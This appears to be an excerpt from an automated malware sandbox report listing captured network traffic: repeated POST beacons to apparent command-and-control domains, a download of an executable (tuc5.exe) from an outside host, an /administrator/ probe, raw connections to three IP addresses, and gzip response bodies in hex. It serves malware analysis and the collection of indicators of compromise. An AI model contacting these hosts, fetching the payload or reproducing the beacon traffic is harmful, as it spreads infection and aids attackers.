Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lbnidyoxywptx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 234Host: liuliuoumumy.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gvxwxslfmyohbda.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 346Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://feqxhtoobcht.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 145Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bqrupmjxgta.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 298Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ogmgcntibebglg.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 236Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hvtflscokph.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 165Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sukjrpwtlvriof.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 346Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: breakfastchanneljw.fun
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ubvxgdisvvtaio.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 186Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ftekpyctdoqibbsi.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 122Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: dayfarrichjwclik.fun
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: neighborhoodfeelsa.fun
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: diagramfiremonkeyowwa.fun
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=TKnVaTK1Mb_40gMTuTEbKhJ6n3cY9xmNXzQ7rW1jQkM-1703038351-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 54Host: diagramfiremonkeyowwa.fun
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jolwvsdvhvntpq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 153Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bfnbonvdxkba.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 123Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ocfegapkhafavh.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 366Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aqmmkbxfjapxq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 245Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: GET /ftp/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: ftpvoyager.cc
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lscnjomalgkoadp.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 124Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://teyiyywrapi.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 133Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bgokjqcoghlgo.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 149Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pwvqtyybdwjyshco.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 345Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: GET /order/tuc5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cream.hitsturbo.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kvfvcxauqdtrbkq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 232Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://stualialuyastrelia.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 4431Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xtavianagefldsxh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 222Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mymyyvjlegnim.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 219Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fgrtcvyvxtnbobfd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 268Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dqsbkjcgmlohao.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 139Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://iagptheyutdjg.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 217Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lksurclastjmnog.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 208Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://clsaukxauftvtee.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 172Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lmpuibivhib.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 224Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ydawwdjpyxk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 356Host: humydrole.com
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: choctawcasino.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Source: unknown	TCP traffic detected without corresponding DNS query: 198.245.61.196
Source: unknown	TCP traffic detected without corresponding DNS query: 198.245.61.196
Source: unknown	TCP traffic detected without corresponding DNS query: 198.245.61.196
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 91.213.233.138
Source: unknown	TCP traffic detected without corresponding DNS query: 91.213.233.138
Source: unknown	TCP traffic detected without corresponding DNS query: 91.213.233.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 91.213.233.138
Source: unknown	TCP traffic detected without corresponding DNS query: 91.213.233.138
Source: unknown	TCP traffic detected without corresponding DNS query: 91.213.233.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26
Source: unknown	TCP traffic detected without corresponding DNS query: 192.121.44.26

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Dec 2023 02:13:20 GMTServer: ApacheX-Powered-By: PHP/7.4.33Upgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 7369Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 5d fb 72 da ba d6 ff bf 4f a1 43 a7 9b 64 4e 30 f7 92 34 49 cf e4 c2 6e 38 27 4d 33 49 ba 3b 7b 3a 1d 46 d8 02 dc 18 9b da 26 94 73 f6 7e 89 ef 89 bf 25 d9 06 d9 96 6f b1 c9 ad b4 d3 02 96 2c 2d 2d fd 24 2d 49 eb 72 30 b6 27 da fb 83 7f 54 2a a8 a7 5b 36 d6 65 72 4c 46 aa 8e 6c 32 99 6a d8 26 87 a5 ea 8d fb d5 aa 0e 55 1d 6b 92 32 b7 4b 48 36 14 f2 69 66 5b aa 42 ce 6e 3e 9e f7 ac 73 43 be 25 ca 61 69 88 35 8b 94 50 a5 f2 fe d5 c1 98 60 05 3e 26 c4 c6 68 6c db d3 0a f9 31 53 ef 0e 4b 27 86 6e 13 dd ae dc 2c a6 84 16 c5 7e 1d 96 6c f2 d3 ae 52 82 f6 91 3c c6 a6 45 ec 43 d5 32 2a bb bb ed bd 4a bd 04 05 85 c8 ec 2a aa 8d 07 1a 41 3a 9e 00 a9 8a 21 db aa ad 79 d5 b3 ef ef ff 8d 17 d6 d8 24 04 1d cd 6c 63 82 6d d5 d0 d1 bb 77 e8 7a 66 62 9b 7e f9 30 fb 8e dd af 3d 5d 51 b1 74 50 75 5e f4 d7 d7 d5 95 65 6d ac f4 24 62 68 e3 5d 42 18 03 9c a7 b7 64 31 37 4c c5 e2 9a 3d c1 fa 6c 88 65 7b 66 aa fa 08 19 43 74 7a 82 2c 62 de 19 68 62 d8 86 69 ed 40 35 77 c4 b4 89 89 be a8 f6 18 1d c9 32 b1 2c c3 54 09 24 fd 6e 02 4f 89 2e 2f 96 99 e0 e1 35 7b fb d4 54 ef 68 96 0f 04 9b 03 e3 27 b1 10 d6 15 f6 8b 28 e8 a3 5b f4 f5 04 6b da 32 eb b5 a1 cd 18 83 00 01 97 c6 1c 6a bc d4 b0 6e 43 ca 15 81 ce 27 e6 62 f9 e0 64 4c 26 aa 8c 35 ca b4 99 65 3b d4 d0 8a 55 99 70 cf d0 b9 7a 4b d0 07 6c a1 6b 9b f1 1e 72 b1 8e 30 06 aa 46 7c 2f 5f 62 f9 16 8f 28 0f f8 a7 1f b1 3c 86 9a b9 de db 41 c7 86 0d 1d 84 7e 57 35 8d 66 77 48 42 bf a1 63 02 2c c0 23 7f b1 37 80 aa 60 55 d7 b3 11 36 fd d5 10 80 9c ce 1a e4 d6 48 db 68 4c a6 26 e3 b5 47 b5 4b c0 25 c0 73 82 65 02 cc 0a b2 e0 9c e8 ff 25 68 82 a1 d5 5c 37 f8 9e ff 41 64 60 be 97 70 ad 92 09 d1 2d a8 16 92 2e cf 4f d0 75 5b f4 b0 83 1a b5 9a 30 a1 19 f1 1c b5 42 09 5f 7a 17 27 90 24 63 05 a3 eb 85 05 83 1c 86 95 0f 9f 0a b1 64 53 9d d2 66 72 10 15 8d 21 95 e2 09 25 81 57 42 37 63 62 11 f7 17 02 ec a1 99 05 f8 1b 02 03 ee b0 a9 1a 33 78 38 9d 6a c0 47 86 0e 86 51 98 42 0c 84 59 f9 ea 64 6a 98 36 b2 66 03 0b 46 e5 cc 26 92 88 16 19 72 1a c3 21 e0 d5 1e 13 34 26 da 14 d9 06 d0 a1 01 a7 d9 23 b7 7a 5a 2b d6 17 c8 86 89 87 12 cb d5 cc 2a b6 79 5a 69 a1 03 82 80 23 ea 48 07 92 e1 5d 05 00 a6 19 53 97 7e 5a d2 9d a1 d9 14 71 f4 6d 6b 4a 20 45 36 26 03 98 27 59 99 90 5d 67 59 35 63 8e 7e cc 00 a6 aa bd 40 74 c8 aa 26 ed 16 1b f8 f3 05 08 c6 77 04 9a e8 4e 1f 13 07 7f 6c f4 68 74 f4 3c d0 f0 47 c4 96 a5 1d 4a 0f ed 25 85 60 36 b8 e6 b4 4e af a7 2e cf 8f 2e 10 5e f1 9d 25 42 83 a7 1a b1 89 6f f6 f8 c3 7d c3 62 58 77 a6 81 9d cd 9c e2 90 ce cd 2b a8 6b cb e9 a6 16 c9 eb 99 ee cf 29 f4 b4 e5 30 9f 82 7b 68 68 80 2f 4a f5 c0 84 3e b6 28 ff 8d 99 c9 0f 10 98 11 76 d0 d9 c7 1e aa a2 8f 1f 7b 3b ce 14 c0 c6 be 33 dc d9 88 70 57 e0 ef f8 0e 3b 4f dd 35 f7 d5 70 a6 cb
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Wed, 20 Dec 2023 02:13:21 GMTcontent-type: text/html; charset=UTF-8content-length: 4184server: Apachex-powered-by: PHP/7.1vary: Accept-Encodingcontent-encoding: gzipx-iplb-request-id: 668198D4:CA69_D5BA2113:0050_65824DC0_1BE43:4FF0x-iplb-instance: 51844Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 3c eb 5a 1b c9 b1 bf c5 53 54 66 4f 0c 3e cb 48 c2 18 8c 8d a4 04 63 b1 66 83 81 60 f0 9e 4d be 8d bf d6 4c 4b ea 65 6e ee 99 11 60 c7 ef 9a 9f 21 4f 91 aa be cc b4 84 b0 31 36 89 93 63 61 8b e9 5b 75 dd bb ba ba 87 ce b8 88 a3 de 02 40 67 cc 59 d8 5b e8 14 a2 88 78 af ff 74 1b 8e 9f f7 a1 ff aa bf 7f 0c 4f e1 f8 00 bf b6 0f 5e 1c 6e fd b0 ff 73 a7 a5 3b 2d 74 62 5e 30 18 17 45 e6 f3 37 a5 98 74 bd ed 34 29 78 52 f8 c7 17 19 f7 20 d0 a5 ae 57 f0 f3 a2 45 33 6d 42 30 66 32 e7 45 57 e4 a9 bf b1 b1 f6 d8 5f f1 d4 f4 0a 54 c2 62 de f5 64 3a 48 8b dc 19 2e 92 90 9f 2f c3 30 8d a2 f4 cc 83 16 0d 98 1a 71 ca 2f ce 52 19 ba 63 58 22 62 56 88 34 c9 b1 2e 8e b9 0c 04 8b 78 be 0c 4e 43 96 Data Ascii: <ZSTfO>Hcf`MLKen`!O16ca[u@gY[xtO^ns;-tb^0E7t4)xR WE3mB0f2EW_Tbd:H./0q/RcX"bV4.xNC
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Dec 2023 02:13:21 GMTServer: ApacheX-Powered-By: PHP/7.4.33Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 7369Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 5d fb 72 da ba d6 ff bf 4f a1 43 a7 9b 64 4e 30 f7 92 34 49 cf e4 c2 6e 38 27 4d 33 49 ba 3b 7b 3a 1d 46 d8 02 dc 18 9b da 26 94 73 f6 7e 89 ef 89 bf 25 d9 06 d9 96 6f b1 c9 ad b4 d3 02 96 2c 2d 2d fd 24 2d 49 eb 72 30 b6 27 da fb 83 7f 54 2a a8 a7 5b 36 d6 65 72 4c 46 aa 8e 6c 32 99 6a d8 26 87 a5 ea 8d fb d5 aa 0e 55 1d 6b 92 32 b7 4b 48 36 14 f2 69 66 5b aa 42 ce 6e 3e 9e f7 ac 73 43 be 25 ca 61 69 88 35 8b 94 50 a5 f2 fe d5 c1 98 60 05 3e 26 c4 c6 68 6c db d3 0a f9 31 53 ef 0e 4b 27 86 6e 13 dd ae dc 2c a6 84 16 c5 7e 1d 96 6c f2 d3 ae 52 82 f6 91 3c c6 a6 45 ec 43 d5 32 2a bb bb ed bd 4a bd 04 05 85 c8 ec 2a aa 8d 07 1a 41 3a 9e 00 a9 8a 21 db aa ad 79 d5 b3 ef ef ff 8d 17 d6 d8 24 04 1d cd 6c 63 82 6d d5 d0 d1 bb 77 e8 7a 66 62 9b 7e f9 30 fb 8e dd af 3d 5d 51 b1 74 50 75 5e f4 d7 d7 d5 95 65 6d ac f4 24 62 68 e3 5d 42 18 03 9c a7 b7 64 31 37 4c c5 e2 9a 3d c1 fa 6c 88 65 7b 66 aa fa 08 19 43 74 7a 82 2c 62 de 19 68 62 d8 86 69 ed 40 35 77 c4 b4 89 89 be a8 f6 18 1d c9 32 b1 2c c3 54 09 24 fd 6e 02 4f 89 2e 2f 96 99 e0 e1 35 7b fb d4 54 ef 68 96 0f 04 9b 03 e3 27 b1 10 d6 15 f6 8b 28 e8 a3 5b f4 f5 04 6b da 32 eb b5 a1 cd 18 83 00 01 97 c6 1c 6a bc d4 b0 6e 43 ca 15 81 ce 27 e6 62 f9 e0 64 4c 26 aa 8c 35 ca b4 99 65 3b d4 d0 8a 55 99 70 cf d0 b9 7a 4b d0 07 6c a1 6b 9b f1 1e 72 b1 8e 30 06 aa 46 7c 2f 5f 62 f9 16 8f 28 0f f8 a7 1f b1 3c 86 9a b9 de db 41 c7 86 0d 1d 84 7e 57 35 8d 66 77 48 42 bf a1 63 02 2c c0 23 7f b1 37 80 aa 60 55 d7 b3 11 36 fd d5 10 80 9c ce 1a e4 d6 48 db 68 4c a6 26 e3 b5 47 b5 4b c0 25 c0 73 82 65 02 cc 0a b2 e0 9c e8 ff 25 68 82 a1 d5 5c 37 f8 9e ff 41 64 60 be 97 70 ad 92 09 d1 2d a8 16 92 2e cf 4f d0 75 5b f4 b0 83 1a b5 9a 30 a1 19 f1 1c b5 42 09 5f 7a 17 27 90 24 63 05 a3 eb 85 05 83 1c 86 95 0f 9f 0a b1 64 53 9d d2 66 72 10 15 8d 21 95 e2 09 25 81 57 42 37 63 62 11 f7 17 02 ec a1 99 05 f8 1b 02 03 ee b0 a9 1a 33 78 38 9d 6a c0 47 86 0e 86 51 98 42 0c 84 59 f9 ea 64 6a 98 36 b2 66 03 0b 46 e5 cc 26 92 88 16 19 72 1a c3 21 e0 d5 1e 13 34 26 da 14 d9 06 d0 a1 01 a7 d9 23 b7 7a 5a 2b d6 17 c8 86 89 87 12 cb d5 cc 2a b6 79 5a 69 a1 03 82 80 23 ea 48 07 92 e1 5d 05 00 a6 19 53 97 7e 5a d2 9d a1 d9 14 71 f4 6d 6b 4a 20 45 36 26 03 98 27 59 99 90 5d 67 59 35 63 8e 7e cc 00 a6 aa bd 40 74 c8 aa 26 ed 16 1b f8 f3 05 08 c6 77 04 9a e8 4e 1f 13 07 7f 6c f4 68 74 f4 3c d0 f0 47 c4 96 a5 1d 4a 0f ed 25 85 60 36 b8 e6 b4 4e af a7 2e cf 8f 2e 10 5e f1 9d 25 42 83 a7 1a b1 89 6f f6 f8 c3 7d c3 62 58 77 a6 81 9d cd 9c e2 90 ce cd 2b a8 6b cb e9 a6 16 c9 eb 99 ee cf 29 f4 b4 e5 30 9f 82 7b 68 68 80 2f 4a f5 c0 84 3e b6 28 ff 8d 99 c9 0f 10 98 11 76 d0 d9 c7 1e aa a2 8f 1f 7b 3b ce 14 c0 c6 be 33 dc d9 88 70 57 e0 ef f8 0e 3b 4f dd 35 f7 d5 70 a6 cb ac 98 8f 1f fb 80 7e fd d8 fc a2 ea 8
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Wed, 20 Dec 2023 02:13:21 GMTcontent-type: text/html; charset=UTF-8content-length: 4184server: Apachex-powered-by: PHP/7.1vary: Accept-Encodingcontent-encoding: gzipx-iplb-request-id: 668198D4:CA69_D5BA2113:0050_65824DC1_1BFA5:4FF0x-iplb-instance: 51844Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 3c eb 5a 1b c9 b1 bf c5 53 54 66 4f 0c 3e cb 48 c2 18 8c 8d a4 04 63 b1 66 83 81 60 f0 9e 4d be 8d bf d6 4c 4b ea 65 6e ee 99 11 60 c7 ef 9a 9f 21 4f 91 aa be cc b4 84 b0 31 36 89 93 63 61 8b e9 5b 75 dd bb ba ba 87 ce b8 88 a3 de 02 40 67 cc 59 d8 5b e8 14 a2 88 78 af ff 74 1b 8e 9f f7 a1 ff aa bf 7f 0c 4f e1 f8 00 bf b6 0f 5e 1c 6e fd b0 ff 73 a7 a5 3b 2d 74 62 5e 30 18 17 45 e6 f3 37 a5 98 74 bd ed 34 29 78 52 f8 c7 17 19 f7 20 d0 a5 ae 57 f0 f3 a2 45 33 6d 42 30 66 32 e7 45 57 e4 a9 bf b1 b1 f6 d8 5f f1 d4 f4 0a 54 c2 62 de f5 64 3a 48 8b dc 19 2e 92 90 9f 2f c3 30 8d a2 f4 cc 83 16 0d 98 1a 71 ca 2f ce 52 19 ba 63 58 22 62 56 88 34 c9 b1 2e 8e b9 0c 04 8b 78 be 0c 4e 43 96 Data Ascii: <ZSTfO>Hcf`MLKen`!O16ca[u@gY[xtO^ns;-tb^0E7t4)xR WE3mB0f2EW_Tbd:H./0q/RcX"bV4.xNC
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Wed, 20 Dec 2023 02:13:23 GMTcontent-type: text/html; charset=UTF-8content-length: 4184server: Apachex-powered-by: PHP/7.1vary: Accept-Encodingcontent-encoding: gzipx-iplb-request-id: 668198D4:D312_D5BA2113:0050_65824DC2_23248:6A8Ax-iplb-instance: 51833Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 3c eb 5a 1b c9 b1 bf c5 53 54 66 4f 0c 3e cb 48 c2 18 8c 8d a4 04 63 b1 66 83 81 60 f0 9e 4d be 8d bf d6 4c 4b ea 65 6e ee 99 11 60 c7 ef 9a 9f 21 4f 91 aa be cc b4 84 b0 31 36 89 93 63 61 8b e9 5b 75 dd bb ba ba 87 ce b8 88 a3 de 02 40 67 cc 59 d8 5b e8 14 a2 88 78 af ff 74 1b 8e 9f f7 a1 ff aa bf 7f 0c 4f e1 f8 00 bf b6 0f 5e 1c 6e fd b0 ff 73 a7 a5 3b 2d 74 62 5e 30 18 17 45 e6 f3 37 a5 98 74 bd ed 34 29 78 52 f8 c7 17 19 f7 20 d0 a5 ae 57 f0 f3 a2 45 33 6d 42 30 66 32 e7 45 57 e4 a9 bf b1 b1 f6 d8 5f f1 d4 f4 0a 54 c2 62 de f5 64 3a 48 8b dc 19 2e 92 90 9f 2f c3 30 8d a2 f4 cc 83 16 0d 98 1a 71 ca 2f ce 52 19 ba 63 58 22 62 56 88 34 c9 b1 2e 8e b9 0c 04 8b 78 be 0c 4e 43 96 96 12 02 ec 2e b9 d3 ab c4 a9 16 aa 5e 6e 27 07 92 03 07 f2 54 c8 4b 0e e1 a2 ea 94 49 91 73 b7 59 24 34 5a 4c a6 2a 15 d4 9c 45 f8 18 72 88 16 59 59 a4 71 3a 10 d1 74 af cb 90 8d d2 91 78 53 4e 55 5f 86 65 c0 66 21 46 65 38 db 2f 48 11 36 81 67 20 d3 b2 c0 b6 40 c8 a0 14 c5 9c 16 79 c9 22 51 20 19 ac 1c c5 88 ef 25 37 8c 76 f9 1c f2 3c 90 22 